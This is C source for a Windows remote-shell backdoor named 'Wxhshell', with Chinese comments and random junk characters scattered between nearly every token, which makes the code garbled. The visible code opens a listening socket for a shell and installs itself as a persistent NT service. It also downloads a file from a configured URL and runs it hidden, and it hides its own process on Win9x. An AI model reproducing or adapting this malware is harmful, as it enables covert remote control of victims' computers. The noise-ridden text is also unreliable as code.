// 注册表启动 T?#s'd } nfa_8 '(T mV#3 // 主模块 [\a:4vDAbi int StartWxhshell(LPSTR lpCmdLine) cB<O.@ { |zh + SOCKET wsl; |+u+)C BOOL val=TRUE; ot0U-G( int port=0; A`IHP{aB struct sockaddr_in door; \*Ts)EW M$F{N if(wscfg.ws_autoins) Install(); L7<+LA)s0 e|JIrOnc port=atoi(lpCmdLine); _tA7=*@8 %6N)G!P if(port<=0) port=wscfg.ws_port; [0wP\{% dDo6fP2 WSADATA data; l\_x(BH if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m^'~&!ba :q(D(mK if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; B_!wutV@ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'OG{*TDPu door.sin_family = AF_INET; JBvk)ogM door.sin_addr.s_addr = inet_addr("127.0.0.1"); >T`zh^+5W door.sin_port = htons(port); x
~wNO/ b]"2VN if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }#&~w0P closesocket(wsl); sbgJw return 1; El {r$-} } $.``OxJk% [#IBYJ.6 if(listen(wsl,2) == INVALID_SOCKET) { iQu^|,tHEM closesocket(wsl); |^?`Q.|c$ return 1; <>VIDE } Qg[heND Wxhshell(wsl); ?vMK'" WSACleanup(); /q T E xC'mPcU8 return 0; q)vK`\Y ) sRN!~ } Z>X9J(= uW )
\, // 以NT服务方式启动 v: giZxR VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !;TR2Zcn { zaH
5
Km_j DWORD status = 0; J9NsHr:A[ DWORD specificError = 0xfffffff; 'J2ewW5 o1Ne+Jt serviceStatus.dwServiceType = SERVICE_WIN32; =[ s8q2V serviceStatus.dwCurrentState = SERVICE_START_PENDING; ix:2Z- serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 33*^($bE& serviceStatus.dwWin32ExitCode = 0; EN)YoVk serviceStatus.dwServiceSpecificExitCode = 0; KuIkul9^% serviceStatus.dwCheckPoint = 0; 93 [rL+l.Y serviceStatus.dwWaitHint = 0; h>~jQ&\M Fs?( UM hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nT_*EC<. if (hServiceStatusHandle==0) return; F
~*zC`>Y s;anP0-O status = GetLastError(); O5ucI$s if (status!=NO_ERROR) u$ap H{ { %B[YtWqm`/ serviceStatus.dwCurrentState = SERVICE_STOPPED; :wFb5" serviceStatus.dwCheckPoint = 0; ,?Ok[G!cm serviceStatus.dwWaitHint = 0; TFNUv<>X serviceStatus.dwWin32ExitCode = status; j[_t6Z serviceStatus.dwServiceSpecificExitCode = specificError; _L8Mpx*E SetServiceStatus(hServiceStatusHandle, &serviceStatus); C(f$!~M4b return; lB=(8. } C\y[&egww {F<)z%^ serviceStatus.dwCurrentState = SERVICE_RUNNING; )>ug{M%g serviceStatus.dwCheckPoint = 0; "w>rlsT<O serviceStatus.dwWaitHint = 0; tX@0:RX% if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]^Sd9ba } MKV=m8G= 2r
%>]y // 处理NT服务事件,比如:启动、停止 9
aY'0wa VOID WINAPI NTServiceHandler(DWORD fdwControl) ?$UH9T9) { S4;wa6 switch(fdwControl) +G<}JJ'V { >?^~s(t case SERVICE_CONTROL_STOP: O5g}2 serviceStatus.dwWin32ExitCode = 0; SL6mNn9c serviceStatus.dwCurrentState = SERVICE_STOPPED; Xq+!eOT serviceStatus.dwCheckPoint = 0; VEL:JsY serviceStatus.dwWaitHint = 0; FX{~" { " ]aQ Hh]f SetServiceStatus(hServiceStatusHandle, &serviceStatus); mk#>Dpy? } r3n=<l!Jr return; f1)HHUB case SERVICE_CONTROL_PAUSE: es.jh serviceStatus.dwCurrentState = SERVICE_PAUSED; E~'q?LJOB break; 1,m\Q_ case SERVICE_CONTROL_CONTINUE: kJHr&=VO~ serviceStatus.dwCurrentState = SERVICE_RUNNING; U*
-% M break; `2Wl case SERVICE_CONTROL_INTERROGATE: }9{dR4hD break; hfJrQhmE }; b\kN_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); co
\[{}} } "2*G$\ qXXYF>Z- // 标准应用程序主函数 CkmlqqUHC int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xR\D(FLVS { z8
hTZU 99\{! W // 获取操作系统版本 D=jSh OsIsNt=GetOsVer(); Q2JdO 6[96 GetModuleFileName(NULL,ExeFile,MAX_PATH); RpBiE8F4 kqj;l\N // 从命令行安装 *jYHd#UZx4 if(strpbrk(lpCmdLine,"iI")) Install(); ~%olCxfO \;nD)<)J // 下载执行文件 6H(fk1E if(wscfg.ws_downexe) { G>
f^ 2 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'CP/ym f/a WinExec(wscfg.ws_filenam,SW_HIDE); mle_*Gy8 } r^?)F?n! aR`_h=a if(!OsIsNt) {
EJWOXxU // 如果时win9x,隐藏进程并且设置为注册表启动
f$:7A0 HideProc(); E"Ya-8d= StartWxhshell(lpCmdLine); kWzuz# } jlYD~) else FZ[@])B if(StartFromService()) X=rc3~}f // 以服务方式启动 '"!z$i~G= StartServiceCtrlDispatcher(DispatchTable); `,F&y{A else u5xU)l3 // 普通方式启动 >wz;}9v StartWxhshell(lpCmdLine); y#hga5 <;2P._oZ return 0; 8QkWgd7y }
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